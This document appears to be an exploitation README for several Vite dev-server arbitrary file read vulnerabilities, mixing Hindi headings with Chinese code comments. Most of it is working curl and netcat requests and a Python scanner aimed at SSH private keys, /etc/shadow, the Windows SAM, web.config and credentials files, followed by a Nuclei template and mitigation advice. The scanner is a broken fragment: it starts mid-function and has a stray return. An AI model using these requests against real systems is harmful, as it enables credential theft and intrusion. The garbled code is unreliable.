**Windows सिस्टम शोषण उदाहरण**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"  # 如果返回文件内容，则存在漏洞

**Windows सिस्टम शोषण उदाहरण**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"  # 如果返回文件内容，则存在漏洞

**Windows प्रणाली शोषण उदाहरण**:```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"

# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini"  # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"  # 如果返回文件内容，则存在漏洞

**Windows सिस्टम शोषण उदाहरण**:```bash
# 使用curl的--request-target选项
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/system32/drivers/etc/hosts" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/inetpub/wwwroot/web.config" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf" "http://[目标IP]:5173"

# 或使用原始HTTP请求
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl --request-target "/@fs/x/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173"  # 如果返回文件内容，则存在漏洞

if target_url.endswith('/' ):
    target_url = target_url[:-1]

# 解析URL获取主机和端口
parsed_url = urllib.parse.urlparse(target_url)
host = parsed_url.hostname
port = parsed_url.port

# 如果端口未指定，根据协议设置默认端口
if port is None:
    port = 443 if parsed_url.scheme == 'https' else 80

print(f"[*] 测试目标: {target_url} (主机: {host}, 端口: {port} )")

# 扩展的Linux测试路径
linux_test_paths = [
    "/etc/passwd",
    "/etc/shadow",
    "/etc/hosts",
    "/etc/nginx/nginx.conf",
    "/var/www/html/config.php",
    "/var/www/html/wp-config.php",
    "/home/admin/.ssh/id_rsa",
    "/home/ubuntu/.ssh/id_rsa",
    "/root/.ssh/id_rsa",
    "/proc/self/environ",
    "/var/log/auth.log",
    "/etc/crontab",
    "/etc/mysql/my.cnf",
    "/var/www/html/.env",
    "/opt/tomcat/conf/server.xml"
]

# 扩展的Windows测试路径
windows_test_paths = [
    "C:/Windows/win.ini",
    "C:/Windows/system32/drivers/etc/hosts",
    "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt",
    "C:/inetpub/wwwroot/web.config",
    "C:/Program Files/MySQL/MySQL Server 8.0/my.ini",
    "C:/Users/Administrator/.ssh/id_rsa",
    "C:/Windows/Panther/Unattend.xml",
    "C:/xampp/php/php.ini",
    "C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf",
    "C:/Users/Administrator/Desktop/credentials.txt",
    "C:/ProgramData/MySQL/MySQL Server 8.0/Data/ibdata1",
    "C:/Windows/System32/config/SAM",
    "C:/Windows/repair/SAM",
    "C:/Windows/debug/NetSetup.log",
    "C:/Windows/iis6.log"
]

# 所有测试路径
all_test_paths = linux_test_paths + windows_test_paths

vulnerabilities = {
    "CVE-2025-30208": [
        "/@fs{path}?raw??",
        "/@fs{path}?import&raw??"
    ],
    "CVE-2025-31125": [
        "/@fs{path}?inline&import",
        "/@fs{path}?raw?import"
    ],
    "CVE-2025-31486": [
        "{path}?.svg?.wasm?init",
        "/@fs/x/x/x/vite-project/?/../../../../../{path}?import&?raw"
    ],
    "CVE-2025-32395": [
        "/@fs/x/#/../../../../../{path}"
    ]
}

# 首先测试基本路径是否可访问
try:
    r = requests.get(f"{target_url}/@vite/client", timeout=5, verify=False)
    if r.status_code != 200:
        print(f"[-] 目标可能不是Vite服务器，未找到/@vite/client路径")
        # 尝试其他可能的Vite标识
        r = requests.get(f"{target_url}", timeout=5, verify=False)
        if "vite" not in r.text.lower() and "dev server" not in r.text.lower():
            print(f"[-] 目标页面内容中未找到Vite相关标识")
            print(f"[*] 继续测试漏洞，忽略Vite标识检查...")
    else:
        print(f"[+] 确认目标是Vite服务器")
except Exception as e:
    print(f"[-] 连接错误: {e}")
    print(f"[*] 继续测试漏洞，忽略连接错误...")

# 生成随机文件名用于测试不存在的文件（避免误报）
random_filename = ''.join(random.choice(string.ascii_lowercase) for i in range(10))
random_test = f"/tmp/{random_filename}.txt"

# 测试CVE-2025-32395（需要自定义HTTP请求）
def test_cve_2025_32395(path):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((host, port))
        
        # 根据协议构建请求
        protocol = "HTTP/1.1"
        request = f"GET /@fs/x/#/../../../../../{path} {protocol}\r\nHost: {host}:{port}\r\nConnection: close\r\n\r\n"
        
        # 如果是HTTPS，需要包装SSL
        if parsed_url.scheme == 'https':
            import ssl
            context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT )
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            s = context.wrap_socket(s, server_hostname=host)
        
        s.send(request.encode())
        response = b""
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response += chunk
        s.close()
        
        response_text = response.decode('utf-8', errors='ignore')
        
        # 检查是否成功读取文件
        if "HTTP/1.1 200" in response_text:
            content = response_text.split('\r\n\r\n')[1] if '\r\n\r\n' in response_text else ""
            if is_valid_file_content(path, content):
                print(f"[+] 发现漏洞 CVE-2025-32395! 路径: {path}")
                print(f"[+] 响应内容预览: {content[:100]}...")
                return True
    except Exception as e:
        print(f"[-] 测试 CVE-2025-32395 路径 {path} 时出错: {e}")
    return False

# 检查文件内容是否有效
def is_valid_file_content(path, content):
    if not content:
        return False
        
    # 根据文件类型检查内容特征
    if "passwd" in path and ("root:" in content or "nobody:" in content):
        return True
    elif "shadow" in path and ("root:" in content or "$" in content):
        return True
    elif "win.ini" in path and ("for 16-bit app support" in content or "[fonts]" in content):
        return True
    elif "hosts" in path and ("localhost" in content or "127.0.0.1" in content):
        return True
    elif ".ssh/id_rsa" in path and ("BEGIN" in content and "PRIVATE KEY" in content):
        return True
    elif "web.config" in path and ("<configuration" in content or "<connectionStrings" in content):
        return True
    elif ".php" in path and ("<?php" in content or "$" in content):
        return True
    elif ".env" in path and ("=" in content):
        return True
    elif ".xml" in path and ("<" in content and ">" in content):
        return True
    elif ".ini" in path and ("[" in content and "]" in content):
        return True
    elif ".log" in path and (len(content) > 10):
        return True
    elif ".txt" in path and (len(content) > 5):
        return True
    elif ".mdf" in path and (not content.isprintable()):  # 二进制文件
        return True
        
    # 通用检查：内容不为空且不是错误消息
    return len(content) > 10 and "error" not in content.lower() and "not found" not in content.lower()

# 测试所有漏洞和路径
found_vulnerabilities = []

# 首先测试CVE-2025-32395，因为它需要特殊处理
for path in all_test_paths:
    if test_cve_2025_32395(path):
        found_vulnerabilities.append(("CVE-2025-32395", path))
        break

# 测试其他漏洞
for cve, templates in vulnerabilities.items():
    if cve == "CVE-2025-32395":
        continue  # 已经测试过了
        
    for path in all_test_paths:
        for template in templates:
            try:
                url = f"{target_url}{template.format(path=path)}"
                r = requests.get(url, timeout=5, verify=False)
                
                if r.status_code == 200 and is_valid_file_content(path, r.text):
                    print(f"[+] 发现漏洞 {cve}! 路径: {path}, 模板: {template}")
                    print(f"[+] 响应内容预览: {r.text[:100]}...")
                    found_vulnerabilities.append((cve, path))
                    break
            except Exception as e:
                print(f"[-] 测试 {cve} 路径 {path} 模板 {template} 时出错: {e}")
        
        if any(cve == v[0] for v in found_vulnerabilities):
            break  # 如果已经找到这个CVE的漏洞，就不再测试其他路径

# 测试随机文件名以验证是否存在误报
false_positives = []
for cve, templates in vulnerabilities.items():
    if cve == "CVE-2025-32395":
        continue
        
    for template in templates:
        try:
            url = f"{target_url}{template.format(path=random_test)}"
            r = requests.get(url, timeout=5, verify=False)
            
            if r.status_code == 200 and len(r.text) > 10:
                false_positives.append(cve)
                break
        except:
            pass

# 报告结果
if found_vulnerabilities:
    print("\n[+] 漏洞检测结果:")
    for cve, path in found_vulnerabilities:
        if cve in false_positives:
            print(f"  [-] {cve}: 可能存在误报，请手动验证")
        else:
            print(f"  [+] {cve}: 确认存在漏洞，可访问 {path}")
    return True
else:
    print("[-] 未发现漏洞或目标已修复")
    return False

check_vite_vulnerabilities(args.target)

>## स्क्रिप्ट उपयोग विधि
>
>1. **स्क्रिप्ट सहेजें**：
>
>  - स्क्रिप्ट की सामग्री को एक नई फ़ाइल में कॉपी करें, उदाहरण के लिए `vite_vulnerability_scanner.py` नाम दें
>  - इसे UTF-8 एन्कोडिंग में सहेजना सुनिश्चित करें
>
>2. **निर्भरताएँ स्थापित करें**：
>
>  ```
> pip install requests argparse urllib3
>  ```
>
>3. **निष्पादन अनुमति दें**（Linux/Mac सिस्टम）：
>
>  ```
> chmod +x vite_vulnerability_scanner.py
>  ```
>
>4. **स्क्रिप्ट चलाएँ**：
>
>  ```
> # मूल उपयोग
> python3 vite_vulnerability_scanner.py http://目标IP:5173
>
>  # या यदि आपने निष्पादन अनुमति पहले ही दे दी है
>  ./vite_vulnerability_scanner.py http://目标IP:5173
>  ```
>
>5. **सहायता देखें**：
>
>  ```
> python vite_vulnerability_scanner.py -h
>  ```
![स्क्रीनशॉट](https://raw.githubusercontent.com/nkuty/CVE-2025-30208-31125-31486-32395/main/png/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20.png)

## सामान्य संवेदनशील फ़ाइल पथ

### Linux सिस्टम```
/etc/passwd                   # 用户账户信息
/etc/shadow                   # 密码哈希（需要权限）
/etc/hosts                    # 主机映射
/etc/nginx/nginx.conf         # Nginx配置
/etc/apache2/apache2.conf     # Apache配置
/var/www/html/config.php      # PHP配置文件
/var/www/html/wp-config.php   # WordPress配置
/var/www/html/.env            # 环境变量文件
/home/[用户名]/.ssh/id_rsa    # SSH私钥
/home/[用户名]/.bash_history  # Bash历史命令
/proc/self/environ            # 进程环境变量
/var/log/auth.log             # 认证日志
/etc/crontab                  # 定时任务
/etc/mysql/my.cnf             # MySQL配置
/opt/tomcat/conf/server.xml   # Tomcat配置
/etc/redis/redis.conf         # Redis配置
/var/lib/jenkins/secrets/    # Jenkins密钥
/var/www/html/application/config/database.php  # CodeIgniter数据库配置
/var/www/html/sites/default/settings.php       # Drupal配置

## भेद्यता पहचान उपकरण

उपर्युक्त Python स्क्रिप्ट के अलावा, इन भेद्यताओं का पता लगाने के लिए निम्नलिखित उपकरणों का भी उपयोग किया जा सकता है:

1. **Nuclei टेम्पलेट**:```yaml
id: vite-file-read-vulnerabilities
info:
  name: Vite Development Server - Arbitrary File Read
  author: security-researcher
  severity: high
  description: Detects multiple arbitrary file read vulnerabilities in Vite development server
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30208
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31486
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32395

requests:
  - method: GET
    path:
      # Linux路径
      - "{{BaseURL}}/@fs/etc/passwd?raw??"
      - "{{BaseURL}}/@fs/etc/passwd?import&raw??"
      - "{{BaseURL}}/@fs/etc/passwd?inline&import"
      - "{{BaseURL}}/@fs/etc/passwd?raw?import"
      - "{{BaseURL}}/etc/passwd?.svg?.wasm?init"
      - "{{BaseURL}}/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw"
      
      # Windows路径
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?raw??"
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?import&raw??"
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?inline&import"
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?raw?import"
      - "{{BaseURL}}/C:/Windows/win.ini?.svg?.wasm?init"
      - "{{BaseURL}}/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
    
    matchers-condition: or
    matchers:
      # Linux文件内容匹配
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
      
      # Windows文件内容匹配
      - type: word
        words:
          - "for 16-bit app support"
          - "[fonts]"
        condition: or
        part: body
      
      # 通用匹配
      - type: word
        words:
          - "export default"
        condition: and
        part: body

## बचाव के उपाय

1. **Vite को तुरंत अपडेट करें**:
   - 6.2.6+, 6.1.5+, 6.0.15+, 5.4.18+ या 4.5.13+ पर अपग्रेड करें

2. **नेटवर्क एक्सपोज़र सीमित करें**:
   - प्रोडक्शन वातावरण में Vite डेवलपमेंट सर्वर का उपयोग न करें
   - `--host` या `server.host` कॉन्फ़िगरेशन विकल्पों का उपयोग करने से बचें
   - यदि एक्सपोज़ करना आवश्यक हो, तो एक्सेस IP को सीमित करने के लिए फ़ायरवॉल का उपयोग करें

3. **कॉन्फ़िगरेशन संवर्धन**:
   - `server.fs.strict: true` का उपयोग करें
   - `server.fs.allow` और `server.fs.deny` सूचियों को स्पष्ट रूप से कॉन्फ़िगर करें
   - फ़ाइल सिस्टम एक्सेस को पूरी तरह से प्रतिबंधित करने के लिए `server.fs.deny: ['**']` का उपयोग करने पर विचार करें

4. **रनटाइम सुरक्षा**:
   - Node/Bun के बजाय Deno पर Vite चलाने पर विचार करें (CVE-2025-32395 के निष्कर्षों के अनुसार)
   - न्यूनतम विशेषाधिकार सिद्धांत का उपयोग करके Vite सेवा चलाएं

**अस्वीकरण**: यह दस्तावेज़ केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। बिना अनुमति के किसी सिस्टम का परीक्षण करना अवैध है।